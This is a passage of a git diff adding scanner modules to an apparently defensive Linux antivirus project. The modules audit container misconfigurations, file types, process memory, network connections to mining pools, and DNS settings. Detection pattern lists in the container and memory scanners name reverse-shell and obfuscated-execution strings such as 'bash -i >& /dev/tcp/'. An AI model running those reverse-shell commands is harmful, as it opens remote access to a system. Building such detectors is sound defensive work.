threat_name="HostPID.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container sharing host PID namespace. " + "Container can see all host processes." + ), + )) + + # Dangerous capabilities + _DANGEROUS_CAPS = { + "SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "SYS_RAWIO", + "DAC_OVERRIDE", "SYS_MODULE", "NET_RAW", + } + added_caps = set(host_config.get("CapAdd", []) or []) + for cap in sorted(added_caps & _DANGEROUS_CAPS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"DangerousCap.Container.{cap}", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container has dangerous capability: {cap}", + )) + + # Sensitive host mounts + _SENSITIVE_MOUNTS = { + "/", "/etc", "/var/run/docker.sock", "/proc", "/sys", + "/dev", "/root", "/home", + } + for mount in c.get("Mounts", []): + src = mount.get("Source", "") + if src in _SENSITIVE_MOUNTS: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SensitiveMount.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + f"Container mounts sensitive host path: " + f"{src} -> {mount.get('Destination', '')}" + ), + )) + + # No resource limits + mem_limit = host_config.get("Memory", 0) + cpu_quota = host_config.get("CpuQuota", 0) + if mem_limit == 0 and cpu_quota == 0: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="NoResourceLimits.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + "Container has no memory or CPU limits. " + "A compromised container could consume all host resources." + ), + )) + + # Security profiles disabled + security_opt = host_config.get("SecurityOpt", []) or [] + for opt in security_opt: + opt_str = str(opt) + if "apparmor=unconfined" in opt_str or "seccomp=unconfined" in opt_str: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SecurityDisabled.Container", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container security profile disabled: {opt}", + )) + + return threats + + # -- Image checks -------------------------------------------------- + + @staticmethod + def _check_image( + container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check if the container image has known issues.""" + threats: List[ContainerThreat] = [] + + # Using :latest or untagged image + image_name = container.image.split("/")[-1] + if container.image.endswith(":latest") or ":" not in image_name: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="LatestTag.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + f"Container using ':latest' or untagged image " + f"'{container.image}'. " + f"Pin to a specific version for reproducibility." + ), + )) + + return threats + + # -- Incus security checks ----------------------------------------- + + def _check_incus_security( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check Incus container security configuration.""" + threats: List[ContainerThreat] = [] + labels = container.labels or {} + + # security.privileged = true + if labels.get("security.privileged") == "true": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedMode.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Incus container running in privileged mode! " + "This grants full host access." + ), + )) + + # security.nesting=true is required for Docker-in-Incus setups + # (e.g. Dokploy). Only flag it when combined with privileged mode. + if ( + labels.get("security.nesting") == "true" + and labels.get("security.privileged") == "true" + ): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedNesting.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container has security.nesting=true AND " + "security.privileged=true. This is a dangerous " + "combination allowing full host escape." + ), + )) + + # Check for Docker inside Incus (nested Docker). + if container.status == "running" and self._incus_cmd: + name = self._sanitize_id(container.name) + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", name, "--", "docker", "ps", "-q"], + timeout=10, + ) + if rc == 0 and stdout.strip(): + n_docker = len(stdout.strip().splitlines()) + # Not a threat — informational label stored in labels + # for the dashboard to display. + container.labels["_nested_docker_containers"] = str(n_docker) + + return threats + + def _check_filesystem_via_exec( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan an Incus container's filesystem via ``incus exec``.""" + threats: List[ContainerThreat] = [] + if container.status != "running" or not self._incus_cmd: + return threats + + name = self._sanitize_id(container.name) + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root"] + + for check_dir in check_dirs: + cmd = [ + self._incus_cmd, "exec", name, "--", + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + self._incus_cmd, "exec", name, "--", + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MinerConfig.Incus", + threat_type="miner", + severity="CRITICAL", + details=f"Mining config found in container: {fpath}", + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MaliciousScript.Incus", + threat_type="malware", + severity="HIGH", + details=f"Suspicious script in container file: {fpath}", + file_path=fpath, + )) + return threats + + # ------------------------------------------------------------------ + # Exec prefix + # ------------------------------------------------------------------ + + def _get_exec_prefix( + self, container: ContainerInfo, + ) -> Optional[List[str]]: + """Get the command prefix to execute commands inside a container.""" + if container.status != "running": + return None + cid = self._sanitize_id(container.container_id) + if container.runtime == "incus" and self._incus_cmd: + name = self._sanitize_id(container.name) + return [self._incus_cmd, "exec", name, "--"] + if container.runtime == "docker" and self._docker_cmd: + return [self._docker_cmd, "exec", cid] + if container.runtime == "podman" and self._podman_cmd: + return [self._podman_cmd, "exec", cid] + if container.runtime == "lxc": + lxc_attach = shutil.which("lxc-attach") + if lxc_attach: + name = self._sanitize_id(container.name) + return [lxc_attach, "-n", name, "--"] + return None + + # ------------------------------------------------------------------ + # Utility methods + # ------------------------------------------------------------------ + + def get_container_logs( + self, + container_id: str, + runtime: str = "docker", + lines: int = 100, + ) -> str: + """Get recent logs from a container.""" + cid = self._sanitize_id(container_id) + if runtime == "incus" and self._incus_cmd: + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", cid, "--", + "journalctl", "--no-pager", "-n", str(lines)], + timeout=15, + ) + return stdout if rc == 0 else "" + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return "" + stdout, _, rc = self._run_cmd( + [cmd_bin, "logs", "--tail", str(lines), cid], + timeout=15, + ) + return stdout if rc == 0 else "" + return "" + + def get_container_stats( + self, + container_id: str, + runtime: str = "docker", + ) -> Dict[str, Any]: + """Get resource usage stats for a container.""" + cid = self._sanitize_id(container_id) + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return {} + fmt = ( + '{"cpu":"{{.CPUPerc}}","mem":"{{.MemUsage}}",' + '"net":"{{.NetIO}}","block":"{{.BlockIO}}",' + '"pids":"{{.PIDs}}"}' + ) + stdout, _, rc = self._run_cmd( + [cmd_bin, "stats", cid, "--no-stream", "--format", fmt], + timeout=15, + ) + if rc != 0: + return {} + try: + return json.loads(stdout) + except json.JSONDecodeError: + return {} + return {} diff --git a/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py new file mode 100644 index 0000000..9dddbf9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py @@ -0,0 +1,258 @@ +"""File-system scanner for AYN Antivirus. + +Walks directories, gathers file metadata, hashes files, and classifies +them by type (ELF binary, script, suspicious extension) so that downstream +detectors can focus on high-value targets. +""" + +from __future__ import annotations + +import grp +import logging +import os +import pwd +import stat +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, Generator, List, Optional + +from ayn_antivirus.constants import ( + MAX_FILE_SIZE, + SUSPICIOUS_EXTENSIONS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Well-known magic bytes +# --------------------------------------------------------------------------- +_ELF_MAGIC = b"\x7fELF" +_SCRIPT_SHEBANGS = (b"#!", b"#!/") +_PE_MAGIC = b"MZ" + + +class FileScanner(BaseScanner): + """Enumerates, classifies, and hashes files on disk. + + This scanner does **not** perform threat detection itself — it prepares + the metadata that detectors (YARA, hash-lookup, heuristic) consume. + + Parameters + ---------- + max_file_size: + Skip files larger than this (bytes). Defaults to + :pydata:`constants.MAX_FILE_SIZE`. + """ + + def __init__(self, max_file_size: int = MAX_FILE_SIZE) -> None: + self.max_file_size = max_file_size + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "file_scanner" + + @property + def description(self) -> str: + return "Enumerates and classifies files on disk" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single file and return its metadata + hash. + + Parameters + ---------- + target: + A path (``str`` or ``Path``) to the file. + + Returns + ------- + dict + Keys: ``path``, ``size``, ``hash``, ``is_elf``, ``is_script``, + ``suspicious_ext``, ``info``, ``header``, ``error``. + """ + filepath = Path(target) + result: Dict[str, Any] = { + "path": str(filepath), + "size": 0, + "hash": "", + "is_elf": False, + "is_script": False, + "suspicious_ext": False, + "info": {}, + "header": b"", + "error": None, + } + + try: + info = self.get_file_info(filepath) + result["info"] = info + result["size"] = info.get("size", 0) + except OSError as exc: + result["error"] = str(exc) + return result + + if result["size"] > self.max_file_size: + result["error"] = f"Exceeds max size ({result['size']} > {self.max_file_size})" + return result + + try: + result["hash"] = self.compute_hash(filepath) + except OSError as exc: + result["error"] = f"Hash failed: {exc}" + return result + + try: + result["header"] = self.read_file_header(filepath) + except OSError: + pass # non-fatal + + result["is_elf"] = self.is_elf_binary(filepath) + result["is_script"] = self.is_script(filepath) + result["suspicious_ext"] = self.is_suspicious_extension(filepath) + + return result + + # ------------------------------------------------------------------ + # Directory walking + # ------------------------------------------------------------------ + + @staticmethod + def walk_directory( + path: str | Path, + recursive: bool = True, + exclude_patterns: Optional[List[str]] = None, + ) -> Generator[Path, None, None]: + """Yield every regular file under *path*. + + Parameters + ---------- + path: + Root directory to walk. + recursive: + If ``False``, only yield files in the top-level directory. + exclude_patterns: + Path prefixes or glob-style patterns to skip. A file is skipped + if its absolute path starts with any pattern string. + """ + root = Path(path).resolve() + exclude = [str(Path(p).resolve()) for p in (exclude_patterns or [])] + + if root.is_file(): + yield root + return + + iterator = root.rglob("*") if recursive else root.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + yield entry + except PermissionError: + logger.warning("Permission denied walking: %s", root) + + # ------------------------------------------------------------------ + # File metadata + # ------------------------------------------------------------------ + + @staticmethod + def get_file_info(path: str | Path) -> Dict[str, Any]: + """Return a metadata dict for the file at *path*. + + Keys + ---- + size, permissions, permissions_octal, owner, group, modified_time, + created_time, is_symlink, is_suid, is_sgid. + + Raises + ------ + OSError + If the file cannot be stat'd. + """ + p = Path(path) + st = p.stat() + mode = st.st_mode + + # Owner / group — fall back gracefully on systems without the user. + try: + owner = pwd.getpwuid(st.st_uid).pw_name + except (KeyError, ImportError): + owner = str(st.st_uid) + + try: + group = grp.getgrgid(st.st_gid).gr_name + except (KeyError, ImportError): + group = str(st.st_gid) + + return { + "size": st.st_size, + "permissions": stat.filemode(mode), + "permissions_octal": oct(mode & 0o7777), + "owner": owner, + "group": group, + "modified_time": datetime.utcfromtimestamp(st.st_mtime).isoformat(), + "created_time": datetime.utcfromtimestamp(st.st_ctime).isoformat(), + "is_symlink": p.is_symlink(), + "is_suid": bool(mode & stat.S_ISUID), + "is_sgid": bool(mode & stat.S_ISGID), + } + + # ------------------------------------------------------------------ + # Hashing + # ------------------------------------------------------------------ + + @staticmethod + def compute_hash(path: str | Path, algorithm: str = "sha256") -> str: + """Compute file hash. Delegates to canonical implementation.""" + from ayn_antivirus.utils.helpers import hash_file + return hash_file(str(path), algo=algorithm) + + # ------------------------------------------------------------------ + # Header / magic number + # ------------------------------------------------------------------ + + @staticmethod + def read_file_header(path: str | Path, size: int = 8192) -> bytes: + """Read the first *size* bytes of a file (for magic-number checks). + + Raises + ------ + OSError + If the file cannot be opened. + """ + with open(path, "rb") as fh: + return fh.read(size) + + # ------------------------------------------------------------------ + # Type classification + # ------------------------------------------------------------------ + + @staticmethod + def is_elf_binary(path: str | Path) -> bool: + """Return ``True`` if *path* begins with the ELF magic number.""" + try: + with open(path, "rb") as fh: + return fh.read(4) == _ELF_MAGIC + except OSError: + return False + + @staticmethod + def is_script(path: str | Path) -> bool: + """Return ``True`` if *path* starts with a shebang (``#!``).""" + try: + with open(path, "rb") as fh: + head = fh.read(3) + return any(head.startswith(s) for s in _SCRIPT_SHEBANGS) + except OSError: + return False + + @staticmethod + def is_suspicious_extension(path: str | Path) -> bool: + """Return ``True`` if the file suffix is in :pydata:`SUSPICIOUS_EXTENSIONS`.""" + return Path(path).suffix.lower() in SUSPICIOUS_EXTENSIONS diff --git a/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py new file mode 100644 index 0000000..080f0f8 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py @@ -0,0 +1,332 @@ +"""Process memory scanner for AYN Antivirus. + +Reads ``/proc//maps`` and ``/proc//mem`` on Linux to search for +injected code, suspicious byte patterns (mining pool URLs, known malware +strings), and anomalous RWX memory regions. + +Most operations require **root** privileges. On non-Linux systems the +scanner gracefully returns empty results. +""" + +from __future__ import annotations + +import logging +import os +import re +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence + +from ayn_antivirus.constants import CRYPTO_POOL_DOMAINS +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Default byte-level patterns to search for in process memory. +_DEFAULT_PATTERNS: List[bytes] = [ + # Mining pool URLs + *(domain.encode() for domain in CRYPTO_POOL_DOMAINS), + # Common miner stratum strings + b"stratum+tcp://", + b"stratum+ssl://", + b"stratum2+tcp://", + # Suspicious shell commands sometimes found in injected memory + b"/bin/sh -c", + b"/bin/bash -i", + b"/dev/tcp/", + # Known malware markers + b"PAYLOAD_START", + b"x86_64-linux-gnu", + b"ELF\x02\x01\x01", +] + +# Size of chunks when reading /proc//mem. +_MEM_READ_CHUNK = 65536 + +# Regex to parse a single line from /proc//maps. +# address perms offset dev inode pathname +# 7f1c2a000000-7f1c2a021000 rw-p 00000000 00:00 0 [heap] +_MAPS_RE = re.compile( + r"^([0-9a-f]+)-([0-9a-f]+)\s+(r[w-][x-][ps-])\s+\S+\s+\S+\s+\d+\s*(.*)", + re.MULTILINE, +) + + +class MemoryScanner(BaseScanner): + """Scan process memory for injected code and suspicious patterns. + + .. note:: + This scanner only works on Linux where ``/proc`` is available. + Operations on ``/proc//mem`` typically require root or + ``CAP_SYS_PTRACE``. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "memory_scanner" + + @property + def description(self) -> str: + return "Scans process memory for injected code and malicious patterns" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single process by PID. + + Parameters + ---------- + target: + The PID (``int``) of the process to inspect. + + Returns + ------- + dict + ``pid``, ``rwx_regions``, ``pattern_matches``, ``strings_sample``, + ``error``. + """ + pid = int(target) + result: Dict[str, Any] = { + "pid": pid, + "rwx_regions": [], + "pattern_matches": [], + "strings_sample": [], + "error": None, + } + + if not Path("/proc").is_dir(): + result["error"] = "Not a Linux system — /proc not available" + return result + + try: + result["rwx_regions"] = self.find_injected_code(pid) + result["pattern_matches"] = self.scan_for_patterns(pid, _DEFAULT_PATTERNS) + result["strings_sample"] = self.get_memory_strings(pid, min_length=8)[:200] + except PermissionError: + result["error"] = f"Permission denied reading /proc/{pid}/mem (need root)" + except FileNotFoundError: + result["error"] = f"Process {pid} no longer exists" + except Exception as exc: + result["error"] = str(exc) + logger.exception("Error scanning memory for PID %d", pid) + + return result + + # ------------------------------------------------------------------ + # /proc//maps parsing + # ------------------------------------------------------------------ + + @staticmethod + def _read_maps(pid: int) -> List[Dict[str, Any]]: + """Parse ``/proc//maps`` and return a list of memory regions. + + Each dict contains ``start`` (int), ``end`` (int), ``perms`` (str), + ``pathname`` (str). + + Raises + ------ + FileNotFoundError + If the process does not exist. + PermissionError + If the caller cannot read the maps file. + """ + maps_path = Path(f"/proc/{pid}/maps") + content = maps_path.read_text() + + regions: List[Dict[str, Any]] = [] + for match in _MAPS_RE.finditer(content): + regions.append({ + "start": int(match.group(1), 16), + "end": int(match.group(2), 16), + "perms": match.group(3), + "pathname": match.group(4).strip(), + }) + return regions + + # ------------------------------------------------------------------ + # Memory reading helper + # ------------------------------------------------------------------ + + @staticmethod + def _read_region(pid: int, start: int, end: int) -> bytes: + """Read bytes from ``/proc//mem`` between *start* and *end*. + + Returns as many bytes as could be read; silently returns partial + data if parts of the region are not readable. + """ + mem_path = f"/proc/{pid}/mem" + data = bytearray() + try: + fd = os.open(mem_path, os.O_RDONLY) + try: + os.lseek(fd, start, os.SEEK_SET) + remaining = end - start + while remaining > 0: + chunk_size = min(_MEM_READ_CHUNK, remaining) + try: + chunk = os.read(fd, chunk_size) + except OSError: + break + if not chunk: + break + data.extend(chunk) + remaining -= len(chunk) + finally: + os.close(fd) + except OSError: + pass # region may be unmapped by the time we read + return bytes(data) + + # ------------------------------------------------------------------ + # Public scanning methods + # ------------------------------------------------------------------ + + def scan_process_memory(self, pid: int) -> List[Dict[str, Any]]: + """Scan all readable regions of a process's address space. + + Returns a list of dicts, one per region, containing ``start``, + ``end``, ``perms``, ``pathname``, and a boolean ``has_suspicious`` + flag set when default patterns are found. + + Raises + ------ + PermissionError, FileNotFoundError + """ + regions = self._read_maps(pid) + results: List[Dict[str, Any]] = [] + + for region in regions: + # Only read regions that are at least readable. + if not region["perms"].startswith("r"): + continue + + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue # skip very large regions to avoid OOM + + data = self._read_region(pid, region["start"], region["end"]) + has_suspicious = any(pat in data for pat in _DEFAULT_PATTERNS) + + results.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": region["perms"], + "pathname": region["pathname"], + "size": size, + "has_suspicious": has_suspicious, + }) + + return results + + def find_injected_code(self, pid: int) -> List[Dict[str, Any]]: + """Find memory regions with **RWX** (read-write-execute) permissions. + + Legitimate applications rarely need RWX regions. Their presence may + indicate code injection, JIT shellcode, or a packed/encrypted payload + that has been unpacked at runtime. + + Returns a list of dicts with ``start``, ``end``, ``perms``, + ``pathname``, ``size``. + """ + regions = self._read_maps(pid) + rwx: List[Dict[str, Any]] = [] + + for region in regions: + perms = region["perms"] + # RWX = positions: r(0) w(1) x(2) + if len(perms) >= 3 and perms[0] == "r" and perms[1] == "w" and perms[2] == "x": + size = region["end"] - region["start"] + rwx.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": perms, + "pathname": region["pathname"], + "size": size, + "severity": "HIGH", + "reason": f"RWX region ({size} bytes) — possible code injection", + }) + + return rwx + + def get_memory_strings( + self, + pid: int, + min_length: int = 6, + ) -> List[str]: + """Extract printable ASCII strings from readable memory regions. + + Parameters + ---------- + min_length: + Minimum string length to keep. + + Returns a list of decoded strings (capped at 500 chars each). + """ + regions = self._read_maps(pid) + strings: List[str] = [] + printable_re = re.compile(rb"[\x20-\x7e]{%d,}" % min_length) + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 10 * 1024 * 1024: + continue # skip huge regions + + data = self._read_region(pid, region["start"], region["end"]) + for match in printable_re.finditer(data): + s = match.group().decode("ascii", errors="replace") + strings.append(s[:500]) + + # Cap total to avoid unbounded memory usage. + if len(strings) >= 10_000: + return strings + + return strings + + def scan_for_patterns( + self, + pid: int, + patterns: Optional[Sequence[bytes]] = None, + ) -> List[Dict[str, Any]]: + """Search process memory for specific byte patterns. + + Parameters + ---------- + patterns: + Byte strings to search for. Defaults to + :pydata:`_DEFAULT_PATTERNS` (mining pool URLs, stratum prefixes, + shell commands). + + Returns a list of dicts with ``pattern``, ``region_start``, + ``region_perms``, ``offset``. + """ + if patterns is None: + patterns = _DEFAULT_PATTERNS + + regions = self._read_maps(pid) + matches: List[Dict[str, Any]] = [] + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue + + data = self._read_region(pid, region["start"], region["end"]) + for pat in patterns: + idx = data.find(pat) + if idx != -1: + matches.append({ + "pattern": pat.decode("utf-8", errors="replace"), + "region_start": hex(region["start"]), + "region_perms": region["perms"], + "region_pathname": region["pathname"], + "offset": idx, + "severity": "HIGH", + "reason": f"Suspicious pattern found in memory: {pat[:60]!r}", + }) + + return matches diff --git a/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py new file mode 100644 index 0000000..06b6495 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/network_scanner.py @@ -0,0 +1,328 @@ +"""Network scanner for AYN Antivirus. + +Inspects active TCP/UDP connections for traffic to known mining pools, +suspicious ports, and unexpected listening services. Also audits +``/etc/resolv.conf`` for DNS hijacking indicators. +""" + +from __future__ import annotations + +import logging +import re +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_POOL_DOMAINS, + SUSPICIOUS_PORTS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Well-known system services that are *expected* to listen — extend as needed. +_EXPECTED_LISTENERS = { + 22: "sshd", + 53: "systemd-resolved", + 80: "nginx", + 443: "nginx", + 3306: "mysqld", + 5432: "postgres", + 6379: "redis-server", + 8080: "java", +} + +# Known-malicious / suspicious public DNS servers sometimes injected by +# malware into resolv.conf to redirect DNS queries. +_SUSPICIOUS_DNS_SERVERS = [ + "8.8.4.4", # not inherently bad, but worth noting if unexpected + "1.0.0.1", + "208.67.222.123", + "198.54.117.10", + "77.88.8.7", + "94.140.14.14", +] + + +class NetworkScanner(BaseScanner): + """Scan active network connections for suspicious activity. + + Wraps :func:`psutil.net_connections` and enriches each connection with + process ownership and threat classification. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "network_scanner" + + @property + def description(self) -> str: + return "Inspects network connections for mining pools and suspicious ports" + + def scan(self, target: Any = None) -> Dict[str, Any]: + """Run a full network scan. + + *target* is ignored — all connections are inspected. + + Returns + ------- + dict + ``total``, ``suspicious``, ``unexpected_listeners``, ``dns_issues``. + """ + all_conns = self.get_all_connections() + suspicious = self.find_suspicious_connections() + listeners = self.check_listening_ports() + dns = self.check_dns_queries() + + return { + "total": len(all_conns), + "suspicious": suspicious, + "unexpected_listeners": listeners, + "dns_issues": dns, + } + + # ------------------------------------------------------------------ + # Connection enumeration + # ------------------------------------------------------------------ + + @staticmethod + def get_all_connections() -> List[Dict[str, Any]]: + """Return a snapshot of every inet connection. + + Each dict contains: ``fd``, ``family``, ``type``, ``local_addr``, + ``remote_addr``, ``status``, ``pid``, ``process_name``. + """ + result: List[Dict[str, Any]] = [] + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return result + + for conn in connections: + local = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "" + remote = f"{conn.raddr.ip}:{conn.raddr.port}" if conn.raddr else "" + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + result.append({ + "fd": conn.fd, + "family": str(conn.family), + "type": str(conn.type), + "local_addr": local, + "remote_addr": remote, + "status": conn.status, + "pid": conn.pid, + "process_name": proc_name, + }) + + return result + + # ------------------------------------------------------------------ + # Suspicious-connection detection + # ------------------------------------------------------------------ + + def find_suspicious_connections(self) -> List[Dict[str, Any]]: + """Identify connections to known mining pools or suspicious ports. + + Checks remote addresses against :pydata:`constants.CRYPTO_POOL_DOMAINS` + and :pydata:`constants.SUSPICIOUS_PORTS`. + """ + suspicious: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return suspicious + + for conn in connections: + raddr = conn.raddr + if not raddr: + continue + + remote_ip = raddr.ip + remote_port = raddr.port + local_str = f"{conn.laddr.ip}:{conn.laddr.port}" if conn.laddr else "?" + remote_str = f"{remote_ip}:{remote_port}" + + proc_info = self.resolve_process_for_connection(conn) + + # Suspicious port. + if remote_port in SUSPICIOUS_PORTS: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection on known mining port {remote_port}", + "severity": "HIGH", + }) + + # Mining-pool domain (substring match on IP / hostname). + for domain in CRYPTO_POOL_DOMAINS: + if domain in remote_ip: + suspicious.append({ + "local_addr": local_str, + "remote_addr": remote_str, + "pid": conn.pid, + "process": proc_info, + "status": conn.status, + "reason": f"Connection to known mining pool: {domain}", + "severity": "CRITICAL", + }) + break + + return suspicious + + # ------------------------------------------------------------------ + # Listening-port audit + # ------------------------------------------------------------------ + + @staticmethod + def check_listening_ports() -> List[Dict[str, Any]]: + """Return listening sockets that are *not* in the expected-services list. + + Unexpected listeners may indicate a backdoor or reverse shell. + """ + unexpected: List[Dict[str, Any]] = [] + + try: + connections = psutil.net_connections(kind="inet") + except psutil.AccessDenied: + logger.warning("Insufficient permissions to read network connections") + return unexpected + + for conn in connections: + if conn.status != "LISTEN": + continue + + port = conn.laddr.port if conn.laddr else None + if port is None: + continue + + proc_name = "" + if conn.pid: + try: + proc_name = psutil.Process(conn.pid).name() + except (psutil.NoSuchProcess, psutil.AccessDenied): + proc_name = "?" + + expected_name = _EXPECTED_LISTENERS.get(port) + if expected_name and expected_name in proc_name: + continue # known good + + # Skip very common ephemeral / system ports when we can't resolve. + if port > 49152: + continue + + if port not in _EXPECTED_LISTENERS: + unexpected.append({ + "port": port, + "local_addr": f"{conn.laddr.ip}:{port}" if conn.laddr else f"?:{port}", + "pid": conn.pid, + "process_name": proc_name, + "reason": f"Unexpected listening service on port {port}", + "severity": "MEDIUM", + }) + + return unexpected + + # ------------------------------------------------------------------ + # Process resolution + # ------------------------------------------------------------------ + + @staticmethod + def resolve_process_for_connection(conn: Any) -> Dict[str, Any]: + """Return basic process info for a ``psutil`` connection object. + + Returns + ------- + dict + ``pid``, ``name``, ``cmdline``, ``username``. + """ + info: Dict[str, Any] = { + "pid": conn.pid, + "name": "", + "cmdline": [], + "username": "", + } + if not conn.pid: + return info + + try: + proc = psutil.Process(conn.pid) + info["name"] = proc.name() + info["cmdline"] = proc.cmdline() + info["username"] = proc.username() + except (psutil.NoSuchProcess, psutil.AccessDenied): + pass + + return info + + # ------------------------------------------------------------------ + # DNS audit + # ------------------------------------------------------------------ + + @staticmethod + def check_dns_queries() -> List[Dict[str, Any]]: + """Audit ``/etc/resolv.conf`` for suspicious DNS server entries. + + Malware sometimes rewrites ``resolv.conf`` to redirect DNS through an + attacker-controlled resolver, enabling man-in-the-middle attacks or + DNS-based C2 communication. + """ + issues: List[Dict[str, Any]] = [] + resolv_path = Path("/etc/resolv.conf") + + if not resolv_path.exists(): + return issues + + try: + content = resolv_path.read_text() + except PermissionError: + logger.warning("Cannot read /etc/resolv.conf") + return issues + + nameserver_re = re.compile(r"^\s*nameserver\s+(\S+)", re.MULTILINE) + for match in nameserver_re.finditer(content): + server = match.group(1) + + if server in _SUSPICIOUS_DNS_SERVERS: + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"Potentially suspicious DNS server: {server}", + "severity": "MEDIUM", + }) + + # Flag non-RFC1918 / non-loopback servers that look unusual. + if not ( + server.startswith("127.") + or server.startswith("10.") + or server.startswith("192.168.") + or server.startswith("172.") + or server == "::1" + ): + # External DNS — not inherently bad but worth logging if the + # admin didn't set it intentionally. + issues.append({ + "server": server, + "file": str(resolv_path), + "reason": f"External DNS server configured: {server}", + "severity": "LOW", + }) + + return issues diff --git a/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py new file mode 100644 index 0000000..acf1a68 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/process_scanner.py @@ -0,0 +1,387 @@ +"""Process scanner for AYN Antivirus. + +Inspects running processes for known crypto-miners, anomalous CPU usage, +and hidden / stealth processes. Uses ``psutil`` for cross-platform process +enumeration and ``/proc`` on Linux for hidden-process detection. +""" + +from __future__ import annotations + +import logging +import os +import signal +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import ( + CRYPTO_MINER_PROCESS_NAMES, + HIGH_CPU_THRESHOLD, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + + +class ProcessScanner(BaseScanner): + """Scan running processes for malware, miners, and anomalies. + + Parameters + ---------- + 